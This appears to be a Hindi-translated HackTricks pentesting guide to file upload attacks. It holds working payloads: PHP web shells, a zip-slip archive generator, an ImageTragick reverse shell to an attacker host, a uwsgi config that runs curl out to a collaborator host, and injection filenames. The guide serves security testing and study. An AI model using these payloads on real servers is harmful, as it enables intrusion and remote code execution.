44 KiB
फ़ाइल अपलोड
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमसे जुड़ें 💬 Discord समूह या टेलीग्राम समूह या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PR सबमिट करें।
यदि आप हैकिंग करियर में रुचि रखते हैं और अहेक करने योग्य को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (फ्लूएंट पोलिश लिखित और बोली जाने की आवश्यकता है)।
{% embed url="https://www.stmcyber.com/careers" %}
फ़ाइल अपलोड सामान्य कार्यप्रणाली
अन्य उपयोगी एक्सटेंशन:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- PHPv8 में कार्यरत: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws वेब सर्वर: .yaws
फ़ाइल एक्सटेंशन जांच को बायपास करें
- यदि लागू हो, तो पिछले एक्सटेंशन की जांच करें। कुछ बड़े अक्षरों का उपयोग करके भी परीक्षण करें: pHp, .pHP5, .PhAr ...
- कार्यकारी एक्सटेंशन से पहले एक मान्य एक्सटेंशन जोड़ने की जांच करें (पिछले एक्सटेंशन का भी उपयोग करें):
- file.png.php
- file.png.Php5
- अंत में विशेष वर्ण जोड़ने का प्रयास करें। आप सभी ascii और Unicode वर्णों को bruteforce करने के लिए Burp का उपयोग कर सकते हैं। (ध्यान दें कि आप पिछले उल्लेखित एक्सटेंशन का उपयोग करने का प्रयास भी कर सकते हैं)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php....
- file.pHp5....
- सर्वर-साइड के एक्सटेंशन पार्सर को धोखा देकर सुरक्षा को बायपास करने का प्रयास करें जैसे कि डबलिंग एक्सटेंशन या जंक डेटा (null बाइट्स) को एक्सटेंशनों के बीच जोड़ना। आप बेहतर पेलोड तैयार करने के लिए पिछले एक्सटेंशन का भी उपयोग कर सकते हैं।
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- पिछले चेक के लिए एक और परत एक्सटेंशनों को जोड़ें:
- file.png.jpg.php
- file.php%00.png%00.jpg
- मान्य एक्सटेंशन से पहले exec एक्सटेंशन डालने का प्रयास करें और प्रार्थना करें कि सर्वर गलत कॉन्फ़िगर किया गया है। (यह उन Apache गलत कॉन्फ़िगरेशन का शोषण करने के लिए उपयोगी है जहां किसी भी एक्सटेंशन** .php, लेकिन न कि आवश्यक रूप से .php** में समाप्त होने पर कोड निष्पादित होगा):
- उदाहरण: file.php.png
- Windows में NTFS वैकल्पिक डेटा स्ट्रीम (ADS) का उपयोग करना। इस मामले में, एक कोलन वर्ण “:” एक निषिद्ध एक्सटेंशन के बाद और एक अनुमत के पहले डाला जाएगा। परिणामस्वरूप, सर्वर पर निषिद्ध एक्सटेंशन के साथ एक खाली फ़ाइल बनाई जाएगी (जैसे “file.asax:.jpg”)। इस फ़ाइल को बाद में अन्य तकनीकों का उपयोग करके संपादित किया जा सकता है जैसे कि इसके छोटे फ़ाइल नाम का उपयोग करना। “::$data” पैटर्न का उपयोग गैर-खाली फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक बिंदु वर्ण जोड़ना भी आगे की प्रतिबंधों को बायपास करने के लिए उपयोगी हो सकता है (जैसे “file.asp::$data.”)
- फ़ाइल नाम सीमाओं को तोड़ने का प्रयास करें। मान्य एक्सटेंशन कट जाता है। और दुर्भावनापूर्ण PHP छोड़ दिया जाता है। AAA<--SNIP-->AAA.php
# Linux अधिकतम 255 बाइट
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # यहाँ 4 घटाएं और .png जोड़ें
# फ़ाइल अपलोड करें और प्रतिक्रिया की जांच करें कि यह कितने वर्णों की अनुमति देता है। मान लीजिए 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# पेलोड बनाएं
AAA<--SNIP 232 A-->AAA.php.png
सामग्री-प्रकार, जादुई संख्या, संकुचन और आकार बदलने को बायपास करें
- Content-Type जांच को बायपास करें Content-Type header के मान को सेट करके: image/png , text/plain , application/octet-stream
- Content-Type शब्दकोश: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
- फ़ाइल की शुरुआत में एक वास्तविक छवि के बाइट्स को जोड़कर जादुई संख्या जांच को बायपास करें ( file कमांड को भ्रमित करें)। या मेटाडेटा के अंदर शेल पेश करें:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
या आप पेलोड को सीधे एक छवि में भी पेश कर सकते हैं:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
- यदि आपकी छवि में संकुचन जोड़ा जा रहा है, उदाहरण के लिए कुछ मानक PHP पुस्तकालयों का उपयोग करके जैसे PHP-GD, तो पिछले तकनीकें उपयोगी नहीं होंगी। हालाँकि, आप PLTE खंड यहाँ परिभाषित तकनीक का उपयोग कर सकते हैं ताकि कुछ पाठ जो संकुचन को सहन करेगा।
- कोड के साथ गिटहब
- वेब पृष्ठ छवि का आकार बदलने के लिए भी हो सकता है, उदाहरण के लिए PHP-GD फ़ंक्शंस
imagecopyresized
याimagecopyresampled
का उपयोग करके। हालाँकि, आप IDAT खंड यहाँ परिभाषित तकनीक का उपयोग कर सकते हैं ताकि कुछ पाठ जो संकुचन को सहन करेगा। - कोड के साथ गिटहब
- एक और तकनीक जो एक पेलोड बनाने के लिए छवि के आकार बदलने को सहन करती है, वह है PHP-GD फ़ंक्शन
thumbnailImage
का उपयोग करना। हालाँकि, आप tEXt खंड यहाँ परिभाषित तकनीक का उपयोग कर सकते हैं ताकि कुछ पाठ जो संकुचन को सहन करेगा। - कोड के साथ गिटहब
अन्य ट्रिक्स की जांच करें
- पहले से अपलोड की गई फ़ाइल का नाम बदलने के लिए एक भेद्यता खोजें (एक्सटेंशन बदलने के लिए)।
- बैकडोर निष्पादित करने के लिए स्थानीय फ़ाइल समावेशन भेद्यता खोजें।
- संभावित जानकारी का खुलासा:
- एक ही फ़ाइल को कई बार (और एक ही समय में) एक ही नाम के साथ अपलोड करें।
- एक फ़ाइल के नाम के साथ फ़ाइल अपलोड करें या फोल्डर जो पहले से मौजूद है।
- “.”, “..”, या “…” के रूप में नाम वाली फ़ाइल अपलोड करना। उदाहरण के लिए, Apache में Windows में, यदि एप्लिकेशन अपलोड की गई फ़ाइलों को “/www/uploads/” निर्देशिका में सहेजता है, तो “.” फ़ाइल नाम “/www/” निर्देशिका में “uploads” नाम की फ़ाइल बनाएगा।
- ऐसी फ़ाइल अपलोड करें जिसे आसानी से हटाया नहीं जा सकता जैसे “…:.jpg” NTFS में। (Windows)
- Windows में अमान्य वर्णों के साथ फ़ाइल अपलोड करें जैसे
|<>*?”
इसके नाम में। (Windows) - Windows में आरक्षित (निषिद्ध) नामों के साथ फ़ाइल अपलोड करें जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, और LPT9।
- एक निष्पादन योग्य (.exe) या .html (कम संदिग्ध) फ़ाइल अपलोड करने का प्रयास करें जो कोड निष्पादित करेगा जब इसे पीड़ित द्वारा गलती से खोला जाएगा।
विशेष एक्सटेंशन ट्रिक्स
यदि आप PHP सर्वर पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो कोड निष्पादित करने के लिए .htaccess ट्रिक पर एक नज़र डालें.
यदि आप ASP सर्वर पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो कोड निष्पादित करने के लिए .config ट्रिक पर एक नज़र डालें.
.phar
फ़ाइलें जावा के लिए .jar
की तरह होती हैं, लेकिन PHP के लिए, और इन्हें PHP फ़ाइल की तरह उपयोग किया जा सकता है (इसे PHP के साथ निष्पादित करना, या इसे स्क्रिप्ट के अंदर शामिल करना...)
.inc
एक्सटेंशन कभी-कभी PHP फ़ाइलों के लिए उपयोग किया जाता है जो केवल फ़ाइलों को आयात करने के लिए उपयोग की जाती हैं, इसलिए, किसी बिंदु पर, किसी ने इस एक्सटेंशन को निष्पादित करने की अनुमति दी हो सकती है।
Jetty RCE
यदि आप Jetty सर्वर में एक XML फ़ाइल अपलोड कर सकते हैं तो आप RCE प्राप्त कर सकते हैं क्योंकि नई *.xml और *.war स्वचालित रूप से संसाधित होती हैं. इसलिए, जैसा कि निम्नलिखित छवि में उल्लेख किया गया है, XML फ़ाइल को $JETTY_BASE/webapps/
में अपलोड करें और शेल की उम्मीद करें!
uWSGI RCE
इस भेद्यता की विस्तृत खोज के लिए मूल शोध देखें: uWSGI RCE शोषण.
रिमोट कमांड निष्पादन (RCE) भेद्यताएँ uWSGI सर्वरों में शोषित की जा सकती हैं यदि किसी के पास .ini
कॉन्फ़िगरेशन फ़ाइल को संशोधित करने की क्षमता हो। uWSGI कॉन्फ़िगरेशन फ़ाइलें "जादुई" चर, प्लेसहोल्डर और ऑपरेटर को शामिल करने के लिए एक विशिष्ट वाक्यविन्यास का उपयोग करती हैं। विशेष रूप से, '@' ऑपरेटर, जिसका उपयोग @(filename)
के रूप में किया जाता है, एक फ़ाइल की सामग्री को शामिल करने के लिए डिज़ाइन किया गया है। uWSGI में विभिन्न समर्थित योजनाओं में, "exec" योजना विशेष रूप से शक्तिशाली है, जो एक प्रक्रिया के मानक आउटपुट से डेटा पढ़ने की अनुमति देती है। इस सुविधा का दुरुपयोग रिमोट कमांड निष्पादन या मनमाने फ़ाइल लेखन/पढ़ने के लिए किया जा सकता है जब एक .ini
कॉन्फ़िगरेशन फ़ाइल संसाधित की जाती है।
हानिकारक uwsgi.ini
फ़ाइल का निम्नलिखित उदाहरण विचार करें, जो विभिन्न योजनाओं को प्रदर्शित करता है:
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes.
यह समझना महत्वपूर्ण है कि uWSGI की कॉन्फ़िगरेशन फ़ाइल पार्सिंग की लापरवाह प्रकृति है। विशेष रूप से, चर्चा की गई पेलोड को एक बाइनरी फ़ाइल (जैसे कि एक छवि या PDF) में डाला जा सकता है, संभावित शोषण के दायरे को और बढ़ाते हुए।
wget File Upload/SSRF Trick
In some occasions you may find that a server is using wget
to download files and you can indicate the URL. In these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. However, this check can be bypassed.
फाइल नाम की अधिकतम लंबाई linux में 255 है, हालांकि, wget फ़ाइल नामों को 236 वर्णों तक संक्षिप्त करता है। आप "A"*232+".php"+".gif" नामक फ़ाइल डाउनलोड कर सकते हैं, यह फ़ाइल नाम चेक को बायपास करेगा (जैसे कि इस उदाहरण में ".gif" एक मान्य एक्सटेंशन है) लेकिन wget
फ़ाइल का नाम "A"*232+".php" में रिनेम करेगा।
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
Note that एक और विकल्प जिसे आप इस जांच को बायपास करने के लिए सोच रहे होंगे, वह है HTTP सर्वर को एक अलग फ़ाइल पर रीडायरेक्ट करना, ताकि प्रारंभिक URL जांच को बायपास कर दे और फिर wget नए नाम के साथ रीडायरेक्ट की गई फ़ाइल को डाउनलोड कर ले। यह काम नहीं करेगा जब तक wget को पैरामीटर --trust-server-names
के साथ उपयोग नहीं किया जा रहा है क्योंकि wget रीडायरेक्ट की गई पृष्ठ को मूल URL में निर्दिष्ट फ़ाइल के नाम के साथ डाउनलोड करेगा।
Tools
- Upload Bypass एक शक्तिशाली उपकरण है जिसे Pentesters और Bug Hunters को फ़ाइल अपलोड तंत्रों का परीक्षण करने में सहायता करने के लिए डिज़ाइन किया गया है। यह विभिन्न बग बाउंटी तकनीकों का लाभ उठाता है ताकि कमजोरियों की पहचान और शोषण की प्रक्रिया को सरल बनाया जा सके, जिससे वेब अनुप्रयोगों का गहन मूल्यांकन सुनिश्चित हो सके।
फ़ाइल अपलोड से अन्य कमजोरियों तक
- filename को
../../../tmp/lol.png
पर सेट करें और पथ यात्रा प्राप्त करने का प्रयास करें - filename को
sleep(10)-- -.jpg
पर सेट करें और आप SQL इंजेक्शन प्राप्त करने में सक्षम हो सकते हैं - filename को
<svg onload=alert(document.domain)>
पर सेट करें ताकि XSS प्राप्त किया जा सके - filename को
; sleep 10;
पर सेट करें ताकि कुछ कमांड इंजेक्शन का परीक्षण किया जा सके (अधिक कमांड इंजेक्शन ट्रिक्स यहाँ) - XSS इमेज (svg) फ़ाइल अपलोड में
- JS फ़ाइल अपलोड + XSS = Service Workers शोषण
- XXE in svg upload
- Open Redirect svg फ़ाइल अपलोड करके
- https://github.com/allanlw/svg-cheatsheet से विभिन्न svg पेलोड का प्रयास करें****
- प्रसिद्ध ImageTrick कमजोरी
- यदि आप वेब सर्वर को एक URL से इमेज पकड़ने के लिए इंगित कर सकते हैं तो आप SSRF का शोषण करने का प्रयास कर सकते हैं। यदि यह इमेज किसी सार्वजनिक साइट पर सहेजी जा रही है, तो आप https://iplogger.org/invisible/ से एक URL भी इंगित कर सकते हैं और हर आगंतुक की जानकारी चुरा सकते हैं।
- XXE और CORS बायपास PDF-Adobe अपलोड के साथ
- विशेष रूप से तैयार किए गए PDFs से XSS: निम्नलिखित पृष्ठ प्रस्तुत करता है कि कैसे PDF डेटा को इंजेक्ट करके JS निष्पादन प्राप्त करें। यदि आप PDFs अपलोड कर सकते हैं तो आप कुछ PDF तैयार कर सकते हैं जो दिए गए निर्देशों के अनुसार मनमाना JS निष्पादित करेगा।
- [eicar](https://secure.eicar.org/eicar.com.txt) सामग्री अपलोड करें ताकि यह जांचा जा सके कि सर्वर में कोई एंटीवायरस है या नहीं
- फ़ाइलें अपलोड करते समय यदि कोई आकार सीमा है तो जांचें
यहाँ शीर्ष 10 चीजों की सूची है जो आप अपलोड करके प्राप्त कर सकते हैं (से यहाँ):
- ASP / ASPX / PHP5 / PHP / PHP3: वेबशेल / RCE
- SVG: स्टोर की गई XSS / SSRF / XXE
- GIF: स्टोर की गई XSS / SSRF
- CSV: CSV इंजेक्शन
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : HTML इंजेक्शन / XSS / ओपन रीडायरेक्ट
- PNG / JPEG: पिक्सेल बाढ़ हमला (DoS)
- ZIP: LFI / DoS के माध्यम से RCE
- PDF / PPTX: SSRF / BLIND XXE
Burp Extension
{% embed url="https://github.com/portswigger/upload-scanner" %}
जादुई हेडर बाइट्स
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
- JPG:
"\xff\xd8\xff"
अन्य फ़ाइल प्रकारों के लिए https://en.wikipedia.org/wiki/List_of_file_signatures को देखें।
ज़िप/टार फ़ाइल स्वचालित रूप से डिकंप्रेस्ड अपलोड
यदि आप एक ZIP अपलोड कर सकते हैं जो सर्वर के अंदर डिकंप्रेस होने जा रहा है, तो आप 2 चीजें कर सकते हैं:
सिम्लिंक
एक लिंक अपलोड करें जिसमें अन्य फ़ाइलों के लिए सॉफ्ट लिंक शामिल हैं, फिर, डिकंप्रेस की गई फ़ाइलों तक पहुँचते समय आप लिंक की गई फ़ाइलों तक पहुँचेंगे:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
Decompress in different folders
डिकम्प्रेशन के दौरान निर्देशिकाओं में फ़ाइलों का अप्रत्याशित निर्माण एक महत्वपूर्ण समस्या है। प्रारंभिक धारणाओं के बावजूद कि यह सेटअप दुर्भावनापूर्ण फ़ाइल अपलोड के माध्यम से OS-स्तरीय कमांड निष्पादन के खिलाफ सुरक्षा कर सकता है, ZIP आर्काइव प्रारूप की पदानुक्रमित संपीड़न समर्थन और निर्देशिका यात्रा क्षमताओं का शोषण किया जा सकता है। यह हमलावरों को प्रतिबंधों को बायपास करने और लक्षित एप्लिकेशन की डिकम्प्रेशन कार्यक्षमता को हेरफेर करके सुरक्षित अपलोड निर्देशिकाओं से बाहर निकलने की अनुमति देता है।
ऐसी फ़ाइलें बनाने के लिए एक स्वचालित शोषण evilarc on GitHub पर उपलब्ध है। उपयोगिता का उपयोग इस प्रकार किया जा सकता है:
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
इसके अतिरिक्त, evilarc के साथ symlink ट्रिक एक विकल्प है। यदि उद्देश्य /flag.txt
जैसी फ़ाइल को लक्षित करना है, तो आपकी प्रणाली में उस फ़ाइल के लिए एक symlink बनाया जाना चाहिए। यह सुनिश्चित करता है कि evilarc अपने संचालन के दौरान त्रुटियों का सामना नहीं करता है।
नीचे एक उदाहरण है Python कोड का जिसका उपयोग एक दुर्भावनापूर्ण zip फ़ाइल बनाने के लिए किया जाता है:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
फाइल स्प्रेइंग के लिए संकुचन का दुरुपयोग
अधिक विवरण के लिए मूल पोस्ट देखें: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
- PHP शेल बनाना: PHP कोड लिखा गया है जो
$_REQUEST
वेरिएबल के माध्यम से पास किए गए कमांड को निष्पादित करता है।
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- फाइल स्प्रेइंग और संकुचित फाइल निर्माण: कई फाइलें बनाई जाती हैं और इन फाइलों को शामिल करते हुए एक ज़िप आर्काइव तैयार किया जाता है।
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
- हेक्स संपादक या vi के साथ संशोधन: ज़िप के अंदर फाइलों के नामों को vi या हेक्स संपादक का उपयोग करके बदला जाता है, "xxA" को "../" में बदलकर निर्देशिकाओं को पार किया जाता है।
:set modifiable
:%s/xxA/..\//g
:x!
ImageTragic
इस सामग्री को एक छवि एक्सटेंशन के साथ अपलोड करें ताकि इस भेद्यता का लाभ उठाया जा सके (ImageMagick , 7.0.1-1) (फॉर्म एक्सप्लॉइट)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
PNG में PHP शेल एम्बेड करना
PNG फ़ाइल के IDAT भाग में PHP शेल एम्बेड करना कुछ इमेज प्रोसेसिंग ऑपरेशनों को प्रभावी ढंग से बायपास कर सकता है। PHP-GD से imagecopyresized
और imagecopyresampled
फ़ंक्शन इस संदर्भ में विशेष रूप से प्रासंगिक हैं, क्योंकि इन्हें क्रमशः इमेज को रिसाइज और रिसैंपल करने के लिए सामान्यतः उपयोग किया जाता है। एम्बेडेड PHP शेल की इन ऑपरेशनों से अप्रभावित रहने की क्षमता कुछ उपयोग मामलों के लिए एक महत्वपूर्ण लाभ है।
इस तकनीक की विस्तृत खोज, जिसमें इसकी कार्यप्रणाली और संभावित अनुप्रयोग शामिल हैं, निम्नलिखित लेख में प्रदान की गई है: "PNG IDAT भागों में वेब शेल्स को एन्कोड करना"। यह संसाधन प्रक्रिया और इसके निहितार्थों की व्यापक समझ प्रदान करता है।
अधिक जानकारी के लिए: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
पॉलीग्लॉट फ़ाइलें
पॉलीग्लॉट फ़ाइलें साइबर सुरक्षा में एक अनूठा उपकरण के रूप में कार्य करती हैं, जो चामेलियन्स की तरह होती हैं जो एक साथ कई फ़ाइल प्रारूपों में वैध रूप से मौजूद रह सकती हैं। एक दिलचस्प उदाहरण GIFAR है, जो एक हाइब्रिड है जो GIF और RAR आर्काइव दोनों के रूप में कार्य करता है। ऐसी फ़ाइलें इस जोड़ी तक सीमित नहीं हैं; GIF और JS या PPT और JS जैसी संयोजन भी संभव हैं।
पॉलीग्लॉट फ़ाइलों की मुख्य उपयोगिता उनकी क्षमता में निहित है जो फ़ाइलों को प्रकार के आधार पर स्क्रीन करने वाले सुरक्षा उपायों को बायपास कर सकती हैं। विभिन्न अनुप्रयोगों में सामान्य प्रथा केवल कुछ फ़ाइल प्रकारों को अपलोड करने की अनुमति देना है—जैसे JPEG, GIF, या DOC—संभावित हानिकारक प्रारूपों (जैसे JS, PHP, या Phar फ़ाइलें) द्वारा उत्पन्न जोखिम को कम करने के लिए। हालाँकि, एक पॉलीग्लॉट, जो कई फ़ाइल प्रकारों की संरचनात्मक मानदंडों के अनुसार है, चुपचाप इन प्रतिबंधों को बायपास कर सकता है।
अपनी अनुकूलता के बावजूद, पॉलीग्लॉट्स सीमाओं का सामना करते हैं। उदाहरण के लिए, जबकि एक पॉलीग्लॉट एक साथ एक PHAR फ़ाइल (PHp ARchive) और एक JPEG को समाहित कर सकता है, इसके अपलोड की सफलता प्लेटफ़ॉर्म की फ़ाइल एक्सटेंशन नीतियों पर निर्भर कर सकती है। यदि सिस्टम अनुमत एक्सटेंशनों के बारे में सख्त है, तो पॉलीग्लॉट की केवल संरचनात्मक द्वैतता इसके अपलोड की गारंटी देने के लिए पर्याप्त नहीं हो सकती है।
अधिक जानकारी के लिए: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
संदर्भ
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
- https://github.com/modzero/mod0BurpUploadScanner
- https://github.com/almandin/fuxploider
- https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
- https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
- https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
यदि आप हैकिंग करियर में रुचि रखते हैं और अनहैक करने योग्य को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है)।
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या Twitter पर हमें फॉलो करें 🐦 @hacktricks_live.**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PR सबमिट करें।